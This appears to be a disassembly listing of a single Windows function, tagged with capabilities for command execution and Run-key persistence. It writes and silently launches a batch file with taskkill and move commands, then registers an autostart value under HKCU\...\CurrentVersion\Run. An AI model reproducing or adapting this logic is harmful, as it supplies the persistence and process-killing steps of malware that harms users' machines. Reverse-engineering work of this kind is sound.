Function at 0x140065def
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140075a70
push rbp
push rdi
sub rsp, 0xa18
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1ba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140175080]
xor rax, rbp
mov qword [rbp + 0x9d8], rax
lea rcx, [0x14018d1b0]
call fcn.140066128
lea rdx, [0x1401762e0]
lea rcx, [rbp + 8]
call fcn.14006287f
nop
xor r8d, r8d
lea rdx, str._sysdisk_
lea rcx, [rbp + 8]
call fcn.1400637e8
mov dword [rbp + 0x44], eax
movsxd rax, dword [rbp + 0x44]
cmp rax, 0xffffffffffffffff
je 0x140075c10
lea rcx, [rbp + 0x68]
call fcn.1400660c4
nop
call fcn.140065b65
movzx edx, al
lea rcx, [rbp + 0x68]
call fcn.140065bd3
lea rcx, [rbp + 8]
call fcn.140064edb
mov qword [rbp + 0x978], rax
movsxd rax, dword [rbp + 0x44]
mov qword [rbp + 0x980], rax
lea rdx, str._sysdisk_
lea rcx, [rbp + 0x5c8]
call fcn.140063dd8
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x990], rax
mov rcx, qword [rbp + 0x990]
call fcn.140064edb
mov rcx, qword [rbp + 0x980]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x998], rax
mov r9, qword [rbp + 0x978]
mov r8, qword [rbp + 0x998]
lea rdx, [rbp + 0x608]
lea rcx, [rbp + 8]
call fcn.1400641b1
mov qword [rbp + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
mov qword [rbp + 0x9a8], rax
mov r8, qword [rbp + 0x9a8]
lea rdx, [0x140138c64]
lea rcx, [rbp + 0x648]
call fcn.1400662d6
mov qword [rbp + 0x9b0], rax
mov rax, qword [rbp + 0x9b0]
mov qword [rbp + 0x9b8], rax
mov rdx, qword [rbp + 0x9b8]
lea rcx, [rbp + 0x68]
call fcn.140062e65
nop
lea rcx, [rbp + 0x648]
call fcn.140062c08
nop
lea rcx, [rbp + 0x608]
call fcn.140062c08
nop
lea rcx, [rbp + 0x5c8]
call fcn.140062c08
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 8]
call fcn.140065548
nop
lea rcx, [rbp + 0x68]
call fcn.140062c08
xor r8d, r8d
lea rdx, str._username_
lea rcx, [rbp + 8]
call fcn.1400637e8
mov dword [rbp + 0x44], eax
movsxd rax, dword [rbp + 0x44]
cmp rax, 0xffffffffffffffff
je 0x140075ccd
lea rdx, str._username_
lea rcx, [rbp + 0x688]
call fcn.140063dd8
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov rcx, qword [rbp + 0x980]
call fcn.140064edb
movsxd rcx, dword [rbp + 0x44]
mov r8, rax
mov rdx, rcx
lea rcx, [rbp + 8]
call fcn.14006640c
nop
lea rcx, [rbp + 0x688]
call fcn.140062c08
lea rcx, [rbp + 0x6c8]
call fcn.140062ee7
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
movsxd rax, dword [rbp + 0x44]
mov r8, qword [rbp + 0x980]
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140062159
nop
lea rcx, [rbp + 0x6c8]
call fcn.140062c08
lea rax, [rbp + 8]
mov qword [rbp + 0xa8], rax
mov rcx, qword [rbp + 0xa8]
call fcn.14006214a
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xa8]
call fcn.1400622ad
mov qword [rbp + 0xe8], rax
jmp 0x140075d11
mov rax, qword [rbp + 0xc8]
inc rax
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xe8]
cmp qword [rbp + 0xc8], rax
je 0x140075d4a
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
movsx eax, byte [rax]
cmp eax, 0x2f
jne 0x140075d48
mov rax, qword [rbp + 0x108]
mov byte [rax], 0x5c
jmp 0x140075d00
lea rcx, [rbp + 0x708]
call fcn.1400635f4
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov qword [rbp + 0x988], rax
lea r8, [0x140138c78]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x748]
call fcn.140065313
mov qword [rbp + 0x990], rax
mov rax, qword [rbp + 0x990]
mov qword [rbp + 0x998], rax
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0x9a0], rax
mov r8, qword [rbp + 0x988]
mov rdx, qword [rbp + 0x9a0]
lea rcx, [rbp + 0x128]
call fcn.1400625d7
nop
lea rcx, [rbp + 0x748]
call fcn.140062c08
nop
lea rcx, [rbp + 0x708]
call fcn.140062c08
lea rcx, [rbp + 0x128]
call fcn.140062ece
movzx eax, al
test eax, eax
jne 0x140076156
lea rcx, [rbp + 0x788]
call fcn.14006644d
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov qword [rbp + 0x988], rax
lea rcx, [rbp + 0x7c8]
call fcn.1400647d3
mov qword [rbp + 0x990], rax
mov rax, qword [rbp + 0x990]
mov qword [rbp + 0x998], rax
mov r8, qword [rbp + 0x998]
lea rdx, [0x140138c88]
lea rcx, [rbp + 0x808]
call fcn.1400662d6
mov qword [rbp + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
mov qword [rbp + 0x9a8], rax
lea r8, str._nIP:
mov rdx, qword [rbp + 0x9a8]
lea rcx, [rbp + 0x848]
call fcn.140065b6f
mov qword [rbp + 0x9b0], rax
mov rax, qword [rbp + 0x9b0]
mov qword [rbp + 0x9b8], rax
mov rax, qword [rbp + 0x9b8]
mov qword [rbp + 0x9c0], rax
mov r8, qword [rbp + 0x988]
mov rdx, qword [rbp + 0x9c0]
lea rcx, [rbp + 0x888]
call fcn.1400625d7
mov qword [rbp + 0x9c8], rax
mov rax, qword [rbp + 0x9c8]
mov qword [rbp + 0x9d0], rax
mov rcx, qword [rbp + 0x9d0]
call fcn.1400662fe
nop
lea rcx, [rbp + 0x888]
call fcn.140062c08
nop
lea rcx, [rbp + 0x848]
call fcn.140062c08
nop
lea rcx, [rbp + 0x808]
call fcn.140062c08
nop
lea rcx, [rbp + 0x7c8]
call fcn.140062c08
nop
lea rcx, [rbp + 0x788]
call fcn.140062c08
mov edx, 0x118
lea rcx, [rbp + 0x170]
call fcn.1400658b8
mov edx, 1
lea rcx, [rbp + 0x170]
call fcn.140065ff7
nop
mov r9d, 0x40
mov r8d, 2
lea rdx, str.a.bat
lea rcx, [rbp + 0x170]
call fcn.1400666b4
lea rax, [rbp + 0x180]
lea rdx, str.taskkill__f__im__
mov rcx, rax
call fcn.140062717
mov qword [rbp + 0x978], rax
lea rcx, [rbp + 0x908]
call fcn.1400635f4
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x990], rax
mov rdx, qword [rbp + 0x990]
mov rcx, qword [rbp + 0x978]
call fcn.14006593a
lea rdx, [0x140138ccc]
mov rcx, rax
call fcn.140062717
lea rdx, str.move__
mov rcx, rax
call fcn.140062717
mov qword [rbp + 0x998], rax
lea rcx, [rbp + 0x8c8]
call fcn.1400635f4
mov qword [rbp + 0x9a0], rax
mov rax, qword [rbp + 0x9a0]
mov qword [rbp + 0x9a8], rax
mov rax, qword [rbp + 0x9a8]
mov qword [rbp + 0x9b0], rax
mov rdx, qword [rbp + 0x9b0]
mov rcx, qword [rbp + 0x998]
call fcn.14006593a
lea rdx, [0x140138b7c]
mov rcx, rax
call fcn.140062717
lea rdx, [0x140138cd0]
mov rcx, rax
call fcn.140062717
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.14006593a
lea rdx, [0x140138ccc]
mov rcx, rax
call fcn.140062717
lea rdx, str.move__
mov rcx, rax
call fcn.140062717
lea rdx, [0x140176280]
mov rcx, rax
call fcn.14006593a
lea rdx, [0x140138b7c]
mov rcx, rax
call fcn.140062717
lea rdx, [0x140138cd0]
mov rcx, rax
call fcn.140062717
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.14006593a
lea rdx, [0x140138ccc]
mov rcx, rax
call fcn.140062717
lea rdx, [0x140138cc4]
mov rcx, rax
call fcn.140062717
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.14006593a
mov qword [rbp + 0x9b8], rax
lea rdx, [0x14006228a]
mov rcx, qword [rbp + 0x9b8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.exit
mov rcx, rax
call fcn.140062717
nop
lea rcx, [rbp + 0x8c8]
call fcn.140062c08
nop
lea rcx, [rbp + 0x908]
call fcn.140062c08
lea rcx, [rbp + 0x170]
call fcn.140062a87
lea rcx, str.start__min_a.bat
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 0x170]
call fcn.1400656a1
lea rax, [rbp + 0x2a8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rcx, [rbp + 0x128]
call fcn.140064edb
inc rax
mov dword [rbp + 0x974], eax
lea rcx, [rbp + 0x128]
call fcn.1400625f0
mov qword [rbp + 0x978], rax
lea rcx, [rbp + 0x948]
call fcn.1400635f4
mov qword [rbp + 0x980], rax
mov rcx, qword [rbp + 0x980]
call fcn.1400625f0
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x990], rax
mov eax, dword [rbp + 0x974]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x978]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x988]
mov rcx, qword [rbp + 0x990]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rbp + 0x948]
call fcn.140062c08
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x128]
call fcn.140062c08
nop
lea rcx, [rbp + 8]
call fcn.140062c08
lea rcx, [rbp - 0x30]
lea rdx, [0x140136ff0]
call fcn.1400655c5
mov rcx, qword [rbp + 0x9d8]
xor rcx, rbp
call fcn.140063fe0
lea rsp, [rbp + 0x9e8]
pop rdi
pop rbp
ret